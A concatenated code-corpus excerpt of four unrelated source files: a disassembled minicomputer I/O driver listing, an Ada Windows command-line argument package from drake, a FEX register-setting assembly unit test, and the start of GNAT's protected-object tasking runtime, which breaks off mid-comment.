= 42 (0x002A) 0x0086 (0x00010C) 0x2921- f:00024 d: 289 | OR[289] = A 0x0087 (0x00010E) 0x1121- f:00010 d: 289 | A = 289 (0x0121) 0x0088 (0x000110) 0x5800- f:00054 d: 0 | B = A 0x0089 (0x000112) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x008A (0x000114) 0x7C09- f:00076 d: 9 | R = OR[9] 0x008B (0x000116) 0x74F9- f:00072 d: 249 | R = P + 249 (0x0184) 0x008C (0x000118) 0x211C- f:00020 d: 284 | A = OR[284] 0x008D (0x00011A) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x008E (0x00011C) 0x2908- f:00024 d: 264 | OR[264] = A 0x008F (0x00011E) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0090 (0x000120) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x0091 (0x000122) 0x8402- f:00102 d: 2 | P = P + 2 (0x0093), A = 0 0x0092 (0x000124) 0x7002- f:00070 d: 2 | P = P + 2 (0x0094) 0x0093 (0x000126) 0x744E- f:00072 d: 78 | R = P + 78 (0x00E1) 0x0094 (0x000128) 0x2118- f:00020 d: 280 | A = OR[280] 0x0095 (0x00012A) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011) 0x0096 (0x00012C) 0x2908- f:00024 d: 264 | OR[264] = A 0x0097 (0x00012E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0098 (0x000130) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0099 (0x000132) 0x8602- f:00103 d: 2 | P = P + 2 (0x009B), A # 0 0x009A (0x000134) 0x7002- f:00070 d: 2 | P = P + 2 (0x009C) 0x009B (0x000136) 0x740E- f:00072 d: 14 | R = P + 14 (0x00A9) 0x009C (0x000138) 0x0200- f:00001 d: 0 | EXIT 0x009D (0x00013A) 0x1190- f:00010 d: 400 | A = 400 (0x0190) 0x009E (0x00013C) 0x8405- f:00102 d: 5 | P = P + 5 (0x00A3), A = 0 0x009F (0x00013E) 0x420F- f:00041 d: 15 | C = 1, io 0017 (EXB) = BZ 0x00A0 (0x000140) 0x8003- f:00100 d: 3 | P = P + 3 (0x00A3), C = 0 0x00A1 (0x000142) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x00A2 (0x000144) 0x7204- f:00071 d: 4 | P = P - 4 (0x009E) 0x00A3 (0x000146) 0x8402- f:00102 d: 2 | P = P + 2 (0x00A5), A = 0 0x00A4 (0x000148) 0x7004- f:00070 d: 4 | P = P + 4 (0x00A8) 0x00A5 (0x00014A) 0x1003- f:00010 d: 3 | A = 3 (0x0003) 0x00A6 (0x00014C) 0x291E- f:00024 d: 286 | OR[286] = A 0x00A7 (0x00014E) 0x74F2- f:00072 d: 242 | R = P + 242 (0x0199) 0x00A8 (0x000150) 0x0200- f:00001 d: 0 | EXIT 0x00A9 (0x000152) 0x0400- f:00002 d: 0 | I = 0 0x00AA (0x000154) 0x0000- f:00000 d: 0 | PASS 0x00AB (0x000156) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x00AC (0x000158) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x00AD (0x00015A) 0x2118- f:00020 d: 280 | A = OR[280] 0x00AE (0x00015C) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009) 0x00AF (0x00015E) 0x2913- f:00024 d: 275 | OR[275] = A 0x00B0 (0x000160) 0x1009- f:00010 d: 9 | A = 9 (0x0009) 0x00B1 (0x000162) 0x2921- f:00024 d: 289 | OR[289] = A 0x00B2 (0x000164) 0x2113- f:00020 d: 275 | A = OR[275] 0x00B3 (0x000166) 0x2922- f:00024 d: 290 | OR[290] = A 0x00B4 (0x000168) 0x1800-0x0258 f:00014 d: 0 | A = 600 (0x0258) 0x00B6 (0x00016C) 0x2923- f:00024 d: 291 | OR[291] = A 0x00B7 (0x00016E) 0x1121- f:00010 d: 289 | A = 289 (0x0121) 0x00B8 (0x000170) 0x5800- f:00054 d: 0 | B = A 0x00B9 (0x000172) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318) 0x00BB (0x000176) 0x7C09- f:00076 d: 9 | R = OR[9] 0x00BC (0x000178) 0x2006- f:00020 d: 6 | A = OR[6] 0x00BD (0x00017A) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x00BE (0x00017C) 0x2908- f:00024 d: 264 | OR[264] = A 0x00BF (0x00017E) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00C0 (0x000180) 0x291C- f:00024 d: 284 | OR[284] = A 0x00C1 (0x000182) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00C2 (0x000184) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x00C3 (0x000186) 0x211B- f:00020 d: 283 | A = OR[283] 0x00C4 (0x000188) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address 0x00C5 (0x00018A) 0x2118- f:00020 d: 280 | A = OR[280] 0x00C6 (0x00018C) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011) 0x00C7 (0x00018E) 0x2908- f:00024 d: 264 | OR[264] = A 0x00C8 (0x000190) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00C9 (0x000192) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00) 0x00CB (0x000196) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00CC (0x000198) 0x211C- f:00020 d: 284 | A = OR[284] 0x00CD (0x00019A) 0x8602- f:00103 d: 2 | P = P + 2 (0x00CF), A # 0 0x00CE (0x00019C) 0x700D- f:00070 d: 13 | P = P + 13 (0x00DB) 0x00CF (0x00019E) 0x2118- f:00020 d: 280 | A = OR[280] 0x00D0 (0x0001A0) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011) 0x00D1 (0x0001A2) 0x2908- f:00024 d: 264 | OR[264] = A 0x00D2 (0x0001A4) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00D3 (0x0001A6) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001) 0x00D4 (0x0001A8) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008) 0x00D5 (0x0001AA) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000) 0x00D6 (0x0001AC) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x00D7 (0x0001AE) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00D8 (0x0001B0) 0x1004- f:00010 d: 4 | A = 4 (0x0004) 0x00D9 (0x0001B2) 0x291E- f:00024 d: 286 | OR[286] = A 0x00DA (0x0001B4) 0x74BF- f:00072 d: 191 | R = P + 191 (0x0199) 0x00DB (0x0001B6) 0x2118- f:00020 d: 280 | A = OR[280] 0x00DC (0x0001B8) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E) 0x00DD (0x0001BA) 0x2908- f:00024 d: 264 | OR[264] = A 0x00DE (0x0001BC) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00DF (0x0001BE) 0x291C- f:00024 d: 284 | OR[284] = A 0x00E0 (0x0001C0) 0x0200- f:00001 d: 0 | EXIT 0x00E1 (0x0001C2) 0x1800-0x0202 f:00014 d: 0 | A = 514 (0x0202) 0x00E3 (0x0001C6) 0x291D- f:00024 d: 285 | OR[285] = A 0x00E4 (0x0001C8) 0x7466- f:00072 d: 102 | R = P + 102 (0x014A) 0x00E5 (0x0001CA) 0x2118- f:00020 d: 280 | A = OR[280] 0x00E6 (0x0001CC) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x00E7 (0x0001CE) 0x2908- f:00024 d: 264 | OR[264] = A 0x00E8 (0x0001D0) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00E9 (0x0001D2) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x00EA (0x0001D4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x00EB (0x0001D6) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x00EC (0x0001D8) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x00ED (0x0001DA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00EE (0x0001DC) 0x291F- f:00024 d: 287 | OR[287] = A 0x00EF (0x0001DE) 0x211F- f:00020 d: 287 | A = OR[287] 0x00F0 (0x0001E0) 0x861F- f:00103 d: 31 | P = P + 31 (0x010F), A # 0 0x00F1 (0x0001E2) 0x7493- f:00072 d: 147 | R = P + 147 (0x0184) 0x00F2 (0x0001E4) 0x211C- f:00020 d: 284 | A = OR[284] 0x00F3 (0x0001E6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001) 0x00F4 (0x0001E8) 0x2908- f:00024 d: 264 | OR[264] = A 0x00F5 (0x0001EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x00F6 (0x0001EC) 0x2708- f:00023 d: 264 | A = A - OR[264] 0x00F7 (0x0001EE) 0x8602- f:00103 d: 2 | P = P + 2 (0x00F9), A # 0 0x00F8 (0x0001F0) 0x7003- f:00070 d: 3 | P = P + 3 (0x00FB) 0x00F9 (0x0001F2) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x00FA (0x0001F4) 0x291F- f:00024 d: 287 | OR[287] = A 0x00FB (0x0001F6) 0x2118- f:00020 d: 280 | A = OR[280] 0x00FC (0x0001F8) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x00FD (0x0001FA) 0x2908- f:00024 d: 264 | OR[264] = A 0x00FE (0x0001FC) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x00FF (0x0001FE) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0100 (0x000200) 0x291A- f:00024 d: 282 | OR[282] = A 0x0101 (0x000202) 0x211A- f:00020 d: 282 | A = OR[282] 0x0102 (0x000204) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x0103 (0x000206) 0x8405- f:00102 d: 5 | P = P + 5 (0x0108), A = 0 0x0104 (0x000208) 0x211A- f:00020 d: 282 | A = OR[282] 0x0105 (0x00020A) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004) 0x0106 (0x00020C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0108), A = 0 0x0107 (0x00020E) 0x7005- f:00070 d: 5 | P = P + 5 (0x010C) 0x0108 (0x000210) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0109 (0x000212) 0x291A- f:00024 d: 282 | OR[282] = A 0x010A (0x000214) 0x747F- f:00072 d: 127 | R = P + 127 (0x0189) 0x010B (0x000216) 0x7003- f:00070 d: 3 | P = P + 3 (0x010E) 0x010C (0x000218) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x010D (0x00021A) 0x291F- f:00024 d: 287 | OR[287] = A 0x010E (0x00021C) 0x721F- f:00071 d: 31 | P = P - 31 (0x00EF) 0x010F (0x00021E) 0x2118- f:00020 d: 280 | A = OR[280] 0x0110 (0x000220) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0111 (0x000222) 0x2908- f:00024 d: 264 | OR[264] = A 0x0112 (0x000224) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0113 (0x000226) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001) 0x0114 (0x000228) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008) 0x0115 (0x00022A) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000) 0x0116 (0x00022C) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0117 (0x00022E) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0118 (0x000230) 0x0200- f:00001 d: 0 | EXIT 0x0119 (0x000232) 0x1800-0x0201 f:00014 d: 0 | A = 513 (0x0201) 0x011B (0x000236) 0x291D- f:00024 d: 285 | OR[285] = A 0x011C (0x000238) 0x742E- f:00072 d: 46 | R = P + 46 (0x014A) 0x011D (0x00023A) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x011E (0x00023C) 0x291A- f:00024 d: 282 | OR[282] = A 0x011F (0x00023E) 0x211A- f:00020 d: 282 | A = OR[282] 0x0120 (0x000240) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF) 0x0121 (0x000242) 0x291A- f:00024 d: 282 | OR[282] = A 0x0122 (0x000244) 0x2118- f:00020 d: 280 | A = OR[280] 0x0123 (0x000246) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0124 (0x000248) 0x2908- f:00024 d: 264 | OR[264] = A 0x0125 (0x00024A) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0126 (0x00024C) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x0127 (0x00024E) 0x251A- f:00022 d: 282 | A = A + OR[282] 0x0128 (0x000250) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0129 (0x000252) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x012A (0x000254) 0x211A- f:00020 d: 282 | A = OR[282] 0x012B (0x000256) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001) 0x012C (0x000258) 0x8609- f:00103 d: 9 | P = P + 9 (0x0135), A # 0 0x012D (0x00025A) 0x2118- f:00020 d: 280 | A = OR[280] 0x012E (0x00025C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x012F (0x00025E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0130 (0x000260) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0131 (0x000262) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008) 0x0132 (0x000264) 0x291A- f:00024 d: 282 | OR[282] = A 0x0133 (0x000266) 0x7456- f:00072 d: 86 | R = P + 86 (0x0189) 0x0134 (0x000268) 0x720A- f:00071 d: 10 | P = P - 10 (0x012A) 0x0135 (0x00026A) 0x2118- f:00020 d: 280 | A = OR[280] 0x0136 (0x00026C) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B) 0x0137 (0x00026E) 0x2908- f:00024 d: 264 | OR[264] = A 0x0138 (0x000270) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x0139 (0x000272) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001) 0x013A (0x000274) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008) 0x013B (0x000276) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000) 0x013C (0x000278) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x013D (0x00027A) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x013E (0x00027C) 0x211A- f:00020 d: 282 | A = OR[282] 0x013F (0x00027E) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004) 0x0140 (0x000280) 0x8402- f:00102 d: 2 | P = P + 2 (0x0142), A = 0 0x0141 (0x000282) 0x7004- f:00070 d: 4 | P = P + 4 (0x0145) 0x0142 (0x000284) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0143 (0x000286) 0x291A- f:00024 d: 282 | OR[282] = A 0x0144 (0x000288) 0x7005- f:00070 d: 5 | P = P + 5 (0x0149) 0x0145 (0x00028A) 0x211A- f:00020 d: 282 | A = OR[282] 0x0146 (0x00028C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0148), A # 0 0x0147 (0x00028E) 0x7002- f:00070 d: 2 | P = P + 2 (0x0149) 0x0148 (0x000290) 0x72DB- f:00071 d: 219 | P = P - 219 (0x006D) 0x0149 (0x000292) 0x0200- f:00001 d: 0 | EXIT 0x014A (0x000294) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x014B (0x000296) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x014C (0x000298) 0x2118- f:00020 d: 280 | A = OR[280] 0x014D (0x00029A) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000) 0x014E (0x00029C) 0x2913- f:00024 d: 275 | OR[275] = A 0x014F (0x00029E) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x0150 (0x0002A0) 0x2921- f:00024 d: 289 | OR[289] = A 0x0151 (0x0002A2) 0x1800-0x002F f:00014 d: 0 | A = 47 (0x002F) 0x0153 (0x0002A6) 0x2922- f:00024 d: 290 | OR[290] = A 0x0154 (0x0002A8) 0x211D- f:00020 d: 285 | A = OR[285] 0x0155 (0x0002AA) 0x2923- f:00024 d: 291 | OR[291] = A 0x0156 (0x0002AC) 0x2113- f:00020 d: 275 | A = OR[275] 0x0157 (0x0002AE) 0x2924- f:00024 d: 292 | OR[292] = A 0x0158 (0x0002B0) 0x1121- f:00010 d: 289 | A = 289 (0x0121) 0x0159 (0x0002B2) 0x5800- f:00054 d: 0 | B = A 0x015A (0x0002B4) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318) 0x015C (0x0002B8) 0x7C09- f:00076 d: 9 | R = OR[9] 0x015D (0x0002BA) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x015E (0x0002BC) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x015F (0x0002BE) 0x211B- f:00020 d: 283 | A = OR[283] 0x0160 (0x0002C0) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address 0x0161 (0x0002C2) 0x0200- f:00001 d: 0 | EXIT 0x0162 (0x0002C4) 0x1800-0x2FD4 f:00014 d: 0 | A = 12244 (0x2FD4) 0x0164 (0x0002C8) 0x2908- f:00024 d: 264 | OR[264] = A 0x0165 (0x0002CA) 0x100C- f:00010 d: 12 | A = 12 (0x000C) 0x0166 (0x0002CC) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0167 (0x0002CE) 0x1800-0x2FD4 f:00014 d: 0 | A = 12244 (0x2FD4) 0x0169 (0x0002D2) 0x0A01- f:00005 d: 1 | A = A < 1 (0x0001) 0x016A (0x0002D4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x016B (0x0002D6) 0x2913- f:00024 d: 275 | OR[275] = A 0x016C (0x0002D8) 0x2113- f:00020 d: 275 | A = OR[275] 0x016D (0x0002DA) 0xDA0F- f:00155 d: 15 | io 0017 (EXB), fn015 | Data output to B register (DOB) 0x016E (0x0002DC) 0x76D1- f:00073 d: 209 | R = P - 209 (0x009D) 0x016F (0x0002DE) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0170 (0x0002E0) 0x2920- f:00024 d: 288 | OR[288] = A 0x0171 (0x0002E2) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0172 (0x0002E4) 0x2720- f:00023 d: 288 | A = A - OR[288] 0x0173 (0x0002E6) 0xDC0F- f:00156 d: 15 | io 0017 (EXB), fn016 | Data output to C register (DOC) 0x0174 (0x0002E8) 0x76D7- f:00073 d: 215 | R = P - 215 (0x009D) 0x0175 (0x0002EA) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x0176 (0x0002EC) 0xDE0F- f:00157 d: 15 | io 0017 (EXB), fn017 | Send control 0x0177 (0x0002EE) 0x76DA- f:00073 d: 218 | R = P - 218 (0x009D) 0x0178 (0x0002F0) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0179 (0x0002F2) 0xCC0F- f:00146 d: 15 | io 0017 (EXB), fn006 | Send interface mask (MSKO) 0x017A (0x0002F4) 0x2118- f:00020 d: 280 | A = OR[280] 0x017B (0x0002F6) 0x1411- f:00012 d: 17 | A = A + 17 (0x0011) 0x017C (0x0002F8) 0x2908- f:00024 d: 264 | OR[264] = A 0x017D (0x0002FA) 0x3108- f:00030 d: 264 | A = (OR[264]) 0x017E (0x0002FC) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009) 0x017F (0x0002FE) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001) 0x0180 (0x000300) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009) 0x0181 (0x000302) 0x3908- f:00034 d: 264 | (OR[264]) = A 0x0182 (0x000304) 0x76D9- f:00073 d: 217 | R = P - 217 (0x00A9) 0x0183 (0x000306) 0x0200- f:00001 d: 0 | EXIT 0x0184 (0x000308) 0xC20F- f:00141 d: 15 | io 0017 (EXB), fn001 | Request data input from A register (DIA) 0x0185 (0x00030A) 0x76E8- f:00073 d: 232 | R = P - 232 (0x009D) 0x0186 (0x00030C) 0xD00F- f:00150 d: 15 | io 0017 (EXB), fn010 | Read data bus status 0x0187 (0x00030E) 0x291C- f:00024 d: 284 | OR[284] = A 0x0188 (0x000310) 0x0200- f:00001 d: 0 | EXIT 0x0189 (0x000312) 0x1002- f:00010 d: 2 | A = 2 (0x0002) 0x018A (0x000314) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x018B (0x000316) 0x1007- f:00010 d: 7 | A = 7 (0x0007) 0x018C (0x000318) 0x2921- f:00024 d: 289 | OR[289] = A 0x018D (0x00031A) 0x1001- f:00010 d: 1 | A = 1 (0x0001) 0x018E (0x00031C) 0x2922- f:00024 d: 290 | OR[290] = A 0x018F (0x00031E) 0x1121- f:00010 d: 289 | A = 289 (0x0121) 0x0190 (0x000320) 0x5800- f:00054 d: 0 | B = A 0x0191 (0x000322) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318) 0x0193 (0x000326) 0x7C09- f:00076 d: 9 | R = OR[9] 0x0194 (0x000328) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x0195 (0x00032A) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x0196 (0x00032C) 0x211B- f:00020 d: 283 | A = OR[283] 0x0197 (0x00032E) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address 0x0198 (0x000330) 0x0200- f:00001 d: 0 | EXIT 0x0199 (0x000332) 0x1028- f:00010 d: 40 | A = 40 (0x0028) 0x019A (0x000334) 0x2921- f:00024 d: 289 | OR[289] = A 0x019B (0x000336) 0x1800-0x00AC f:00014 d: 0 | A = 172 (0x00AC) 0x019D (0x00033A) 0x2922- f:00024 d: 290 | OR[290] = A 0x019E (0x00033C) 0x2118- f:00020 d: 280 | A = OR[280] 0x019F (0x00033E) 0x2923- f:00024 d: 291 | OR[291] = A 0x01A0 (0x000340) 0x211E- f:00020 d: 286 | A = OR[286] 0x01A1 (0x000342) 0x2924- f:00024 d: 292 | OR[292] = A 0x01A2 (0x000344) 0x1121- f:00010 d: 289 | A = 289 (0x0121) 0x01A3 (0x000346) 0x5800- f:00054 d: 0 | B = A 0x01A4 (0x000348) 0x1800-0x1318 f:00014 d: 0 | A = 4888 (0x1318) 0x01A6 (0x00034C) 0x7C09- f:00076 d: 9 | R = OR[9] 0x01A7 (0x00034E) 0x291A- f:00024 d: 282 | OR[282] = A 0x01A8 (0x000350) 0x211A- f:00020 d: 282 | A = OR[282] 0x01A9 (0x000352) 0x8602- f:00103 d: 2 | P = P + 2 (0x01AB), A # 0 0x01AA (0x000354) 0x7002- f:00070 d: 2 | P = P + 2 (0x01AC) 0x01AB (0x000356) 0x733E- f:00071 d: 318 | P = P - 318 (0x006D) 0x01AC (0x000358) 0x1000- f:00010 d: 0 | A = 0 (0x0000) 0x01AD (0x00035A) 0xCE0F- f:00147 d: 15 | io 0017 (EXB), fn007 | Set interrupt mode 0x01AE (0x00035C) 0x211B- f:00020 d: 283 | A = OR[283] 0x01AF (0x00035E) 0xCA0F- f:00145 d: 15 | io 0017 (EXB), fn005 | Load device address 0x01B0 (0x000360) 0x0200- f:00001 d: 0 | EXIT 0x01B1 (0x000362) 0x0000- f:00000 d: 0 | PASS 0x01B2 (0x000364) 0x0000- f:00000 d: 0 | PASS 0x01B3 (0x000366) 0x0000- f:00000 d: 0 | PASS
source/environment/machine-w64-mingw32/s-nacoli.adb
ytomino/drake
33
6032
with System.Address_To_Constant_Access_Conversions; with System.Wide_Startup; -- force to be an unicode application with System.Zero_Terminated_WStrings; with C.winnt; package body System.Native_Command_Line is function Argument_Count return Natural is begin return Wide_Startup.wargc - 1; end Argument_Count; function Argument (Number : Natural) return String is type Fixed_LPCWSTR_array is array (C.size_t) of C.winnt.LPCWSTR with Convention => C; type LPCWSTR_array_const_ptr is access constant Fixed_LPCWSTR_array with Convention => C; package Conv is new Address_To_Constant_Access_Conversions ( Fixed_LPCWSTR_array, LPCWSTR_array_const_ptr); begin return Zero_Terminated_WStrings.Value ( Conv.To_Pointer (Wide_Startup.wargv) (C.size_t (Number))); end Argument; end System.Native_Command_Line;
unittests/ASM/Primary/Primary_B8_2.asm
cobalt2727/FEX
628
5110
%ifdef CONFIG { "RegData": { "RAX": "0x0000000044434241", "RBX": "0x0000000044434241", "RCX": "0x0000000044434241", "RDX": "0x0000000044434241", "RBP": "0x0000000044434241", "RSI": "0x0000000044434241", "RDI": "0x0000000044434241", "RSP": "0x0000000044434241", "R8": "0x0000000044434241", "R9": "0x0000000044434241", "R10": "0x0000000044434241", "R11": "0x0000000044434241", "R12": "0x0000000044434241", "R13": "0x0000000044434241", "R14": "0x0000000044434241", "R15": "0x0000000044434241" }, "MemoryRegions": { "0x100000000": "4096" } } %endif mov rax, -1 mov rbx, -1 mov rcx, -1 mov rdx, -1 mov rbp, -1 mov rsi, -1 mov rdi, -1 mov rsp, -1 mov r8, -1 mov r9, -1 mov r10, -1 mov r11, -1 mov r12, -1 mov r13, -1 mov r14, -1 mov r15, -1 mov eax, 0x44434241 mov ebx, 0x44434241 mov ecx, 0x44434241 mov edx, 0x44434241 mov ebp, 0x44434241 mov esi, 0x44434241 mov edi, 0x44434241 mov esp, 0x44434241 mov r8d, 0x44434241 mov r9d, 0x44434241 mov r10d, 0x44434241 mov r11d, 0x44434241 mov r12d, 0x44434241 mov r13d, 0x44434241 mov r14d, 0x44434241 mov r15d, 0x44434241 hlt
gcc-gcc-7_3_0-release/gcc/ada/s-tpobop.adb
best08618/asylo
7
2849
<filename>gcc-gcc-7_3_0-release/gcc/ada/s-tpobop.adb ------------------------------------------------------------------------------ -- -- -- GNAT RUN-TIME LIBRARY (GNARL) COMPONENTS -- -- -- -- SYSTEM.TASKING.PROTECTED_OBJECTS.OPERATIONS -- -- -- -- B o d y -- -- -- -- Copyright (C) 1998-2016, Free Software Foundation, Inc. -- -- -- -- GNARL is free software; you can redistribute it and/or modify it under -- -- terms of the GNU General Public License as published by the Free Soft- -- -- ware Foundation; either version 3, or (at your option) any later ver- -- -- sion. GNAT is distributed in the hope that it will be useful, but WITH- -- -- OUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY -- -- or FITNESS FOR A PARTICULAR PURPOSE. -- -- -- -- As a special exception under Section 7 of GPL version 3, you are granted -- -- additional permissions described in the GCC Runtime Library Exception, -- -- version 3.1, as published by the Free Software Foundation. -- -- -- -- You should have received a copy of the GNU General Public License and -- -- a copy of the GCC Runtime Library Exception along with this program; -- -- see the files COPYING3 and COPYING.RUNTIME respectively. If not, see -- -- <http://www.gnu.org/licenses/>. -- -- -- -- GNARL was developed by the GNARL team at Florida State University. -- -- Extensive contributions were provided by Ada Core Technologies, Inc. -- -- -- ------------------------------------------------------------------------------ -- This package contains all extended primitives related to Protected_Objects -- with entries. -- The handling of protected objects with no entries is done in -- System.Tasking.Protected_Objects, the simple routines for protected -- objects with entries in System.Tasking.Protected_Objects.Entries. -- The split between Entries and Operations is needed to break circular -- dependencies inside the run time. -- This package contains all primitives related to Protected_Objects. -- Note: the compiler generates direct calls to this interface, via Rtsfind. with System.Task_Primitives.Operations; with System.Tasking.Entry_Calls; with System.Tasking.Queuing; with System.Tasking.Rendezvous; with System.Tasking.Utilities; with System.Tasking.Debug; with System.Parameters; with System.Traces.Tasking; with System.Restrictions; with System.Tasking.Initialization; pragma Elaborate_All (System.Tasking.Initialization); -- Insures that tasking is initialized if any protected objects are created package body System.Tasking.Protected_Objects.Operations is package STPO renames System.Task_Primitives.Operations; use Parameters; use Task_Primitives; use Ada.Exceptions; use Entries; use System.Restrictions; use System.Restrictions.Rident; use System.Traces; use System.Traces.Tasking; ----------------------- -- Local Subprograms -- ----------------------- procedure Update_For_Queue_To_PO (Entry_Call : Entry_Call_Link; With_Abort : Boolean); pragma Inline (Update_For_Queue_To_PO); -- Update the state of an existing entry call to reflect the fact that it -- is being enqueued, based on whether the current queuing action is with -- or without abort. Call this only while holding the PO's lock. It returns -- with the PO's lock still held. procedure Requeue_Call (Self_Id : Task_Id; Object : Protection_Entries_Access; Entry_Call : Entry_Call_Link); -- Handle requeue of Entry_Call. -- In particular, queue the call if needed, or service it immediately -- if possible. --------------------------------- -- Cancel_Protected_Entry_Call -- --------------------------------- -- Compiler interface only (do not call from within the RTS) -- This should have analogous effect to Cancel_Task_Entry_Call, setting -- the value of Block.Cancelled instead of returning the parameter value -- Cancelled. -- The effect should be idempotent, since the call may already have been -- dequeued. -- Source code: -- select r.e; -- ...A... -- then abort -- ...B... -- end select; -- Expanded code: -- declare -- X : protected_entry_index := 1; -- B80b : communication_block; -- communication_blockIP (B80b); -- begin -- begin -- A79b : label -- A79b : declare -- procedure _clean is -- begin -- if enqueued (B80b) then -- cancel_protected_entry_call (B80b); -- end if; -- return; -- end _clean; -- begin -- protected_entry_call (rTV!(r)._object'unchecked_access, X, -- null_address, asynchronous_call, B80b, objectF => 0); -- if enqueued (B80b) then -- ...B... -- end if; -- at end -- _clean; -- end A79b; -- exception -- when _abort_signal => -- abort_undefer.all; -- null; -- end; -- if not cancelled (B80b) then -- x := ...A... -- end if; -- end; -- If the entry call completes after we get into the abortable part, -- Abort_Signal should be raised and ATC will take us to the at-end -- handler, which will call _clean. -- If the entry call returns with the call already completed, we can skip -- this, and use the "if enqueued()" to go past the at-end handler, but we -- will still call _clean. -- If the abortable part completes before the entry call is Done, it will -- call _clean. -- If the entry call or the abortable part raises an exception, -- we will still call _clean, but the value of Cancelled should not 